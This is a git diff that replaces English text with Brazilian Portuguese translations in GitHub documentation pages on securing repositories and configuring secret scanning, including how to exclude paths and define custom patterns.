-3. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
-4. Next to {% data variables.product.prodname_secret_scanning_caps %}, click **Enable**. 
+1. Na página principal do repositório, clique em **{% octicon "gear" aria-label="The Settings gear" %}Configurações**.
+2. Clique em **Segurança & análise**.
+3. Se {% data variables.product.prodname_GH_advanced_security %} não estiver habilitado, clique em **Habilitar**.
+4. Próximo a {% data variables.product.prodname_secret_scanning_caps %}, clique em **Habilitar**.
 {% endif %}
 
-## Next steps
-You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+## Próximas etapas
+Você pode visualizar e gerenciar alertas de funcionalidades de segurança para resolver dependências e vulnerabilidades no seu código. Para obter mais informações, consulte {% ifversion fpt or ghes or ghec %} "[Visualizar e atualizar as dependências vulneráveis no seu repositório](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Gerenciar pull requests para atualizações de dependência](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Gernciar {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," e "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
 
-{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
+{% ifversion fpt or ghec %}Se você tiver uma vulnerabilidade de segurança, você poderá criar uma consultoria de segurança para discutir em privado e corrigir a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" e " "[Criar uma consultoria de segurança](/code-security/security-advisories/creating-a-security-advisory)".
 {% endif %}
diff --git a/translations/pt-BR/content/code-security/guides.md b/translations/pt-BR/content/code-security/guides.md
index d232a22a1f..4830450262 100644
--- a/translations/pt-BR/content/code-security/guides.md
+++ b/translations/pt-BR/content/code-security/guides.md
@@ -1,6 +1,6 @@
 ---
-title: Guides for code security
-intro: 'Learn about the different ways that {% data variables.product.product_name %} can help you improve your code''s security.'
+title: Guias para segurança do código
+intro: 'Saiba mais sobre as diferentes maneiras que {% data variables.product.product_name %} pode ajudar você a melhorar a segurança do seu código.'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md
index 445c0f3fab..adaf615254 100644
--- a/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md
+++ b/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: About secret scanning
-intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.'
+title: Sobre a varredura de segredo
+intro: 'O {% data variables.product.product_name %} verifica repositórios em busca de tipos de segredos conhecidos a fim de impedir o uso fraudulento de segredos que sofreram commit acidentalmente.'
 product: '{% data reusables.gated-features.secret-scanning %}'
 miniTocMaxHeadingLevel: 3
 redirect_from:
@@ -23,75 +23,75 @@ topics:
 {% data reusables.secret-scanning.beta %}
 {% data reusables.secret-scanning.enterprise-enable-secret-scanning %}
 
-If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project.
+Se o seu projeto se comunicar com um serviço externo, você pode usar um token ou uma chave privada para autenticação. Tokens e chaves privadas são exemplos de segredos que um provedor de serviços pode publicar. Se você marcar um segredo em um repositório, qualquer pessoa que tenha acesso de leitura ao repositório pode usar o segredo para acessar o serviço externo com seus privilégios. Recomendamos que você armazene segredos em um local dedicado e seguro fora do repositório do seu projeto.
 
-{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for any secrets. Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning.{% ifversion fpt or ghec %} For more information, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)."
+{% data variables.product.prodname_secret_scanning_caps %} irá fazer a varredura de todo o seu histórico do Git em todos os branches presentes no seu repositório {% data variables.product.prodname_dotcom %} para obter quaisquer segredos. Os provedores de serviço podem ser associados com {% data variables.product.company_short %} para fornecer seus formatos de segredo para varredura. {% ifversion fpt or ghec %} Para obter mais informações, consulte "[Programa de parceiros de segredo de varredura](/developers/overview/secret-scanning-partner-program)".
 {% endif %}
 
 {% data reusables.secret-scanning.about-secret-scanning %}
 
 {% ifversion fpt or ghec %}
-## About {% data variables.product.prodname_secret_scanning %} for public repositories
+## Sobre o {% data variables.product.prodname_secret_scanning %} para repositórios públicos
 
-{% data variables.product.prodname_secret_scanning_caps %} is automatically enabled on public repositories. When you push to a public repository, {% data variables.product.product_name %} scans the content of the commits for secrets. If you switch a private repository to public, {% data variables.product.product_name %} scans the entire repository for secrets.
+{% data variables.product.prodname_secret_scanning_caps %} é automaticamente habilitado nos repositórios públicos. Quando você faz push para um repositório público, o {% data variables.product.product_name %} verifica segredos no conteúdo dos commits. Se você alternar um repositório privado para público, o {% data variables.product.product_name %} verifica segredos em todo o repositório.
 
-When {% data variables.product.prodname_secret_scanning %} detects a set of credentials, we notify the service provider who issued the secret. The service provider validates the credential and then decides whether they should revoke the secret, issue a new secret, or reach out to you directly, which will depend on the associated risks to you or the service provider. For an overview of how we work with token-issuing partners, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)."
+Quando o {% data variables.product.prodname_secret_scanning %} detecta um conjunto de credenciais, notificamos o provedor de serviço que emitiu o segredo. O provedor de serviço valida a credencial e decide se deve revogar o segredo, emitir um novo segredo ou entrar em contato com você diretamente, o que dependerá dos riscos associados a você ou ao provedor de serviço. Para uma visão geral de como trabalhamos com parceiros emissores de token, consulte "[Programa de verificação de segredos de parceiros](/developers/overview/secret-scanning-partner-program)".
 
-### List of supported secrets for public repositories
+### Lista de segredos compatíveis com repositórios públicos
 
-{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers.
+O {% data variables.product.product_name %} atualmente verifica repositórios públicos para encontrar segredos emitidos pelos seguintes provedores de serviços.
 
 {% data reusables.secret-scanning.partner-secret-list-public-repo %}
 
-## About {% data variables.product.prodname_secret_scanning %} for private repositories
+## Sobre o {% data variables.product.prodname_secret_scanning %} para repositórios privados
 {% endif %}
 
 {% ifversion ghes or ghae %}
-## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %}
+## Sobre {% data variables.product.prodname_secret_scanning %} em {% data variables.product.product_name %}
 
-{% data variables.product.prodname_secret_scanning_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories.
+{% data variables.product.prodname_secret_scanning_caps %} está disponível em todos os repositórios de propriedade da organização como parte de {% data variables.product.prodname_GH_advanced_security %}. Não está disponível em repositórios pertencentes a usuários.
 {% endif %}
 
-If you're a repository administrator or an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %} private{% endif %} repositories that are owned by organizations. You can enable  {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Se você é um administrador de repositório ou um proprietário de uma organização, você pode habilitar {% data variables.product.prodname_secret_scanning %} para {% ifversion fpt or ghec %} repositórios privados{% endif %} pertencentes a organizações. Você pode habilitar {% data variables.product.prodname_secret_scanning %} para todos os seus repositórios ou para todos os novos repositórios dentro da sua organização.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} não está disponível para repositórios privados pertencentes ao usuário.{% endif %} Para obter mais informações, consulte "[Gerenciar segurança e configurações de análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" e "[Gerenciar configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
 
-{% ifversion fpt or ghes > 3.1 or ghae or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %}
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}Você também pode definir padrões personalizados de {% data variables.product.prodname_secret_scanning %} que se aplicam somente ao seu repositório ou organização. Para obter mais informações, consulte "[Definir padrões personalizados para {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)".{% endif %}
 
-When you push commits to a{% ifversion fpt or ghec %} private{% endif %} repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of the commits for secrets.
+Quando você faz push dos commits para um repositório{% ifversion fpt or ghec %} privado{% endif %} com {% data variables.product.prodname_secret_scanning %} habilitado, {% data variables.product.prodname_dotcom %} verifica o conteúdo dos segredos dos commits.
 
-When {% data variables.product.prodname_secret_scanning %} detects a secret in a{% ifversion fpt or ghec %} private{% endif %} repository, {% data variables.product.prodname_dotcom %} generates an alert.
+Quando {% data variables.product.prodname_secret_scanning %} detecta um segredo em um{% ifversion fpt or ghec %} privado{% endif %} repositório, {% data variables.product.prodname_dotcom %} gera um alerta.
 
-- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners.
+- O {% data variables.product.prodname_dotcom %} envia um alerta de email para os administradores do repositório e proprietários da organização.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- {% data variables.product.prodname_dotcom %} sends an email alert to the contributor who committed the secret to the repository, with a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert.
+- {% data variables.product.prodname_dotcom %} envia um alerta de e-mail para o contribuidor que fez o commit do segredo no repositório com um link para o alerta de {% data variables.product.prodname_secret_scanning %} relacionado. O autor do commit pode visualizar o alerta no repositório e resolver o alerta.
 {% endif %}
-- {% data variables.product.prodname_dotcom %} displays an alert in the repository.{% ifversion ghes = 3.0 %} For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %}
+- {% data variables.product.prodname_dotcom %} exibe um alerta no repositório.{% ifversion ghes = 3.0 %} Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)".{% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %}
+Para obter mais informações sobre a visualização e resolução de alertas de {% data variables.product.prodname_secret_scanning %}, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %}
 
-Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)."
+Os administradores do repositório e proprietários da organização podem conceder acesso aos usuários aos alertas de {% data variables.product.prodname_secret_scanning %}. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)".
 
 {% ifversion fpt or ghes > 3.0 or ghec %}
-To monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion fpt or ghec %}private {% endif %}repositories{% ifversion ghes > 3.1 %} or your organization{% endif %}, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %}
+Para monitorar resultados de {% data variables.product.prodname_secret_scanning %} nos seus {% ifversion fpt or ghec %}repositórios {% endif %}privados{% ifversion ghes > 3.1 %} ou na sua organização{% endif %}, você pode usar a API de {% data variables.product.prodname_secret_scanning %}. Para obter mais informações sobre pontos de extremidade da API, consulte "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)".{% endif %}
 
 {% ifversion ghes or ghae %}
-## List of supported secrets{% else %}
-### List of supported secrets for private repositories
+## Lista de segredos compatíveis{% else %}
+### Lista de segredos cmpatíveis com repositórios privados
 {% endif %}
 
-{% data variables.product.prodname_dotcom %}  currently scans{% ifversion fpt or ghec %} private{% endif %} repositories for secrets issued by the following service providers.
+{% data variables.product.prodname_dotcom %} atualmente faz a varredura de repositórios{% ifversion fpt or ghec %} privados{% endif %} para segredos emitidos pelos seguintes provedores de serviços.
 
 {% data reusables.secret-scanning.partner-secret-list-private-repo %}
 
 {% ifversion ghes < 3.2 or ghae %}
 {% note %}
 
-**Note:** {% data variables.product.prodname_secret_scanning_caps %} does not currently allow you to define your own patterns for detecting secrets.
+**Nota: o ** {% data variables.product.prodname_secret_scanning_caps %} atualmente não permite que você defina seus próprios padrões para detecção de segredos.
 
 {% endnote %}
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
-- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)"
+- "[Protegendo o seu repositório](/code-security/getting-started/securing-your-repository)"
+- "[Manter a conta e os dados seguros](/github/authenticating-to-github/keeping-your-account-and-data-secure)"
diff --git a/translations/pt-BR/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md b/translations/pt-BR/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
index 3ae19dfdbe..09948fcdf9 100644
--- a/translations/pt-BR/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
+++ b/translations/pt-BR/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring secret scanning for your repositories
-intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for secrets.'
+title: Configurar a varredura de segredo para os seus repositórios
+intro: 'Você pode configurar como {% data variables.product.prodname_dotcom %} faz a varredura de segredos dos seus repositórios.'
 permissions: 'People with admin permissions to a repository can enable {% data variables.product.prodname_secret_scanning %} for the repository.'
 redirect_from:
   - /github/administering-a-repository/configuring-secret-scanning-for-private-repositories
@@ -17,7 +17,7 @@ topics:
   - Secret scanning
   - Advanced Security
   - Repositories
-shortTitle: Configure secret scans
+shortTitle: Configurar varreduras de segredos
 ---
 
 {% data reusables.secret-scanning.beta %}
@@ -26,66 +26,61 @@ shortTitle: Configure secret scans
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** {% data variables.product.prodname_secret_scanning_caps %} is enabled by default on public repositories and cannot be turned off. You can configure {% data variables.product.prodname_secret_scanning %} for your private repositories only.
+**Observação:** {% data variables.product.prodname_secret_scanning_caps %} está habilitado por padrão em repositórios públicos e não pode ser desativado. Você pode configurar {% data variables.product.prodname_secret_scanning %} apenas para seus repositórios privados.
 
 {% endnote %}
 {% endif %}
 
-## Enabling {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %}private {% endif %}repositories
+## Habilitar {% data variables.product.prodname_secret_scanning %} para repositórios {% ifversion fpt or ghec %}privados {% endif %}
 
 {% ifversion ghes or ghae %}
-You can enable {% data variables.product.prodname_secret_scanning %} for any repository that is owned by an organization. 
-{% endif %} Once enabled, {% data reusables.secret-scanning.secret-scanning-process %}
+Você pode habilitar {% data variables.product.prodname_secret_scanning %} para qualquer repositório que pertença a uma organização.
+{% endif %} uma vez habilitado, {% data reusables.secret-scanning.secret-scanning-process %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-security-and-analysis %}
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-4. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
-   {% ifversion fpt or ghec %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/help/repository/enable-ghas-dotcom.png)
+4. Se {% data variables.product.prodname_advanced_security %} ainda não estiver habilitado para o repositório, à direita de "{% data variables.product.prodname_GH_advanced_security %}", clique em **Habilitar**.
+   {% ifversion fpt or ghec %}![Habilitar {% data variables.product.prodname_GH_advanced_security %} para o seu repositório](/assets/images/help/repository/enable-ghas-dotcom.png)
    {% elsif ghes > 3.0 or ghae %}![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/3.1/help/repository/enable-ghas.png){% endif %}
-5. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**.
-6. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. 
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-dotcom.png)
+5. Revise o impacto de habilitar {% data variables.product.prodname_advanced_security %}, e clique em **Permitir {% data variables.product.prodname_GH_advanced_security %} para este repositório**.
+6. Quando você habilitar {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} pode ser habilitado automaticamente para o repositório, devido às configurações da organização. Se "{% data variables.product.prodname_secret_scanning_caps %}" é exibido com um botão **habilitar**. Você ainda precisa habilitar {% data variables.product.prodname_secret_scanning %} clicando em **Habilitar**. Se você vir um botão **Desabilitar**, significa que {% data variables.product.prodname_secret_scanning %} já está habilitado. ![Habilitar {% data variables.product.prodname_secret_scanning %} para o seu repositório](/assets/images/help/repository/enable-secret-scanning-dotcom.png)
    {% elsif ghes = 3.0 %}
-7. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/help/repository/enable-secret-scanning-ghe.png)
+7. À direita de "{% data variables.product.prodname_secret_scanning_caps %}", clique em **Habilitar**. ![Habilitar {% data variables.product.prodname_secret_scanning %} para o seu repositório](/assets/images/help/repository/enable-secret-scanning-ghe.png)
    {% endif %}
 {% ifversion ghae %}
-1. Before you can enable {% data variables.product.prodname_secret_scanning %}, you need to enable {% data variables.product.prodname_GH_advanced_security %} first. To the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png)
-2. Click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository** to confirm the action.
-   ![Confirm enabling {% data variables.product.prodname_GH_advanced_security %} for your repository](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png)
-3. To the right of "{% data variables.product.prodname_secret_scanning_caps %}", click **Enable**.
-   ![Enable {% data variables.product.prodname_secret_scanning %} for your repository](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png)
+1. Antes de habilitar {% data variables.product.prodname_secret_scanning %}, você precisa habilitar {% data variables.product.prodname_GH_advanced_security %} primeiro. À direita de "{% data variables.product.prodname_GH_advanced_security %}", clique em **Habilitar**. ![Habilitar {% data variables.product.prodname_GH_advanced_security %} para o seu repositório](/assets/images/enterprise/github-ae/repository/enable-ghas-ghae.png)
+2. Clique **Habilitar {% data variables.product.prodname_GH_advanced_security %} para este repositório** para confirmar a ação. ![Confirme a habilitação de {% data variables.product.prodname_GH_advanced_security %} para o seu repositório](/assets/images/enterprise/github-ae/repository/enable-ghas-confirmation-ghae.png)
+3. À direita de "{% data variables.product.prodname_secret_scanning_caps %}", clique em **Habilitar**. ![Habilitar {% data variables.product.prodname_secret_scanning %} para o seu repositório](/assets/images/enterprise/github-ae/repository/enable-secret-scanning-ghae.png)
 {% endif %}
 
-## Excluding alerts from {% data variables.product.prodname_secret_scanning %} in {% ifversion fpt or ghec %}private {% endif %}repositories
+## Excluir alertas de {% data variables.product.prodname_secret_scanning %} em repositórios {% ifversion fpt or ghec %}privados {% endif %}
 
-You can use a *secret_scanning.yml* file to exclude directories from {% data variables.product.prodname_secret_scanning %}. For example, you can exclude directories that contain tests or randomly generated content.
+Você pode usar um arquivo *secret_scanning.yml* para excluir diretórios do {% data variables.product.prodname_secret_scanning %}. Por exemplo, você pode excluir diretórios que contenham testes ou conteúdo gerado aleatoriamente.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.files.add-file %}
-3. In the file name field, type *.github/secret_scanning.yml*.
-4. Under **Edit new file**, type `paths-ignore:` followed by the paths you want to exclude from {% data variables.product.prodname_secret_scanning %}.
+3. No campo do nome de arquivo, digite *.github/secret_scanning.yml*. .
+4. Em **Editar o novo arquivo**, digite `paths-ignore:` seguido pelos paths que você deseja excluir do {% data variables.product.prodname_secret_scanning %}.
     ``` yaml
     paths-ignore:
       - "foo/bar/*.js"
     ```
-    
-    You can use special characters, such as `*` to filter paths. For more information about filter patterns, see "[Workflow syntax for GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)."
+
+    Você pode usar caracteres especiais, como `*` para filtrar paths. Para obter mais informações sobre padrões de filtro, consulte "[Sintaxe do fluxo de trabalho para o GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet)".
 
     {% note %}
-    
-    **Notes:**
-    - If there are more than 1,000 entries in `paths-ignore`, {% data variables.product.prodname_secret_scanning %} will only exclude the first 1,000 directories from scans.
-    - If *secret_scanning.yml* is larger than 1 MB, {% data variables.product.prodname_secret_scanning %} will ignore the entire file.
-    
+
+    **Notas:**
+    - Se houver mais de 1.000 entradas em `paths-ignore`, {% data variables.product.prodname_secret_scanning %} excluirá apenas os primeiros 1.000 diretórios das verificações.
+    - Se *secret_scanning.yml* for maior que 1 MB, {% data variables.product.prodname_secret_scanning %} ignorará todo o arquivo.
+
     {% endnote %}
 
-You can also ignore individual alerts from {% data variables.product.prodname_secret_scanning %}. For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)."
+Você também pode ignorar alertas individuais de {% data variables.product.prodname_secret_scanning %}. Para obter mais informações, consulte "[Gerenciando alertas do {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning#managing-secret-scanning-alerts)."
 
-## Further reading
+## Leia mais
 
-- "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
-{% ifversion fpt or ghes > 3.1 or ghae or ghec %}- "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %}
+- "[Gerenciando configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+{% ifversion fpt or ghes > 3.1 or ghae or ghec %}- "[Definir padrões personalizados para {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)"{% endif %}
diff --git a/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
index 7ef55ec4a7..16fbdc9daf 100644
--- a/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
+++ b/translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md
@@ -1,7 +1,7 @@
 ---
-title: Defining custom patterns for secret scanning
-shortTitle: Define custom patterns
-intro: 'You can define custom patterns for {% data variables.product.prodname_secret_scanning %} in organizations and private repositories.'
+title: Definindo padrões personalizados para varredura de segredo
+shortTitle: Defina padrões personalizados
+intro: 'Você pode definir padrões personalizados para {% data variables.product.prodname_secret_scanning %} em organizações e repositórios privados.'
 product: '{% data reusables.gated-features.secret-scanning %}'
 redirect_from:
   - /code-security/secret-security/defining-custom-patterns-for-secret-scanning
@@ -17,40 +17,40 @@ topics:
 {% ifversion ghes < 3.3 or ghae %}
 {% note %}
 
-**Note:** Custom patterns for {% data variables.product.prodname_secret_scanning %} is currently in beta and is subject to change.
+**Observação:** Os padrões personalizados para {% data variables.product.prodname_secret_scanning %} estão atualmente em fase beta e sujeitos a alterações.
 
 {% endnote %}
 {% endif %}
 
-## About custom patterns for {% data variables.product.prodname_secret_scanning %}
+## Sobre padrões personalizados para {% data variables.product.prodname_secret_scanning %}
 
-{% data variables.product.company_short %} performs {% data variables.product.prodname_secret_scanning %} on {% ifversion fpt or ghec %}public and private{% endif %} repositories for secret patterns provided by {% data variables.product.company_short %} and {% data variables.product.company_short %} partners. For more information on the {% data variables.product.prodname_secret_scanning %} partner program, see "<a href="/developers/overview/secret-scanning-partner-program" class="dotcom-only">Secret scanning partner program</a>."
+{% data variables.product.company_short %} executa {% data variables.product.prodname_secret_scanning %} nos repositórios {% ifversion fpt or ghec %}públicos e privados{% endif %} para padrões de segredo fornecidos por parceiros de {% data variables.product.company_short %} e {% data variables.product.company_short %}. Para obter mais informações sobre o programa de parceria de {% data variables.product.prodname_secret_scanning %}, consulte "<a href="/developers/overview/secret-scanning-partner-program" class="dotcom-only">Programa de varredura de segredo de parceiros</a>".
 
-However, there can be situations where you want to scan for other secret patterns in your {% ifversion fpt or ghec %}private{% endif %} repositories. For example, you might have a secret pattern that is internal to your organization. For these situations, you can define custom {% data variables.product.prodname_secret_scanning %} patterns in your enterprise, organization, or {% ifversion fpt or ghec %}private{% endif %} repository on {% data variables.product.product_name %}. You can define up to 
-{%- ifversion fpt or ghec or ghes > 3.3 %} 500 custom patterns for each organization or enterprise account, and up to 100 custom patterns per {% ifversion fpt or ghec %}private{% endif %} repository.
-{%- elsif ghes = 3.3 %} 100 custom patterns for each organization or enterprise account, and per repository.
-{%- else %} 20 custom patterns for each organization or enterprise account, and per repository.
+No entanto, pode haver situações em que você deverá pesquisar outros padrões secretos nos seus repositórios {% ifversion fpt or ghec %}privados{% endif %}. Por exemplo, você pode ter um padrão de segredo que é interno da sua organização. Para esses casos, você pode definir padrões personalizados de {% data variables.product.prodname_secret_scanning %} na sua empresa, organização ou {% ifversion fpt or ghec %}repositório{% endif %} privado em {% data variables.product.product_name %}. Você pode definir até
+{%- ifversion fpt or ghec or ghes > 3.3 %} 500 padrões personalizados para cada conta da organização ou empresa e até 100 padrões personalizados por {% ifversion fpt or ghec %}repositório{% endif %} privado.
+{%- elsif ghes = 3.3 %} 100 padrões personalizados para cada organização ou conta corporativa, e por repositório.
+{%- else %} 20 padrões personalizados para cada organização ou conta corporativa, e por repositório.
 {%- endif %}
 
 {% ifversion ghes < 3.3 or ghae %}
 {% note %}
 
-**Note:** During the beta, there are some limitations when using custom patterns for {% data variables.product.prodname_secret_scanning %}:
+**Observação:** No beta, existem algumas limitações ao usar padrões personalizados para {% data variables.product.prodname_secret_scanning %}:
 
-* There is no dry-run functionality.
-* You cannot edit custom patterns after they're created. To change a pattern, you must delete it and recreate it.
-* There is no API for creating, editing, or deleting custom patterns. However, results for custom patterns are returned in the [secret scanning alerts API](/rest/reference/secret-scanning).
+* Não há nenhuma funcionalidade de exercício de simulação.
+* Você não pode editar padrões personalizados depois que forem criados. Para alterar um padrão, você deve excluí-lo e recriá-lo.
+* Não há API para criar, editar ou excluir padrões personalizados. No entanto, os resultados de padrões personalizados são retornados na [API de alertas de segredos](/rest/reference/secret-scanning).
 
 {% endnote %}
 {% endif %}
 
-## Regular expression syntax for custom patterns
+## Sintaxe de expressão regular para padrões personalizados
 
-Custom patterns for {% data variables.product.prodname_secret_scanning %} are specified as regular expressions. {% data variables.product.prodname_secret_scanning_caps %} uses the [Hyperscan library](https://github.com/intel/hyperscan) and only supports Hyperscan regex constructs, which are a subset of PCRE syntax. Hyperscan option modifiers are not supported.  For more information on Hyperscan pattern constructs, see "[Pattern support](http://intel.github.io/hyperscan/dev-reference/compilation.html#pattern-support)" in the Hyperscan documentation.
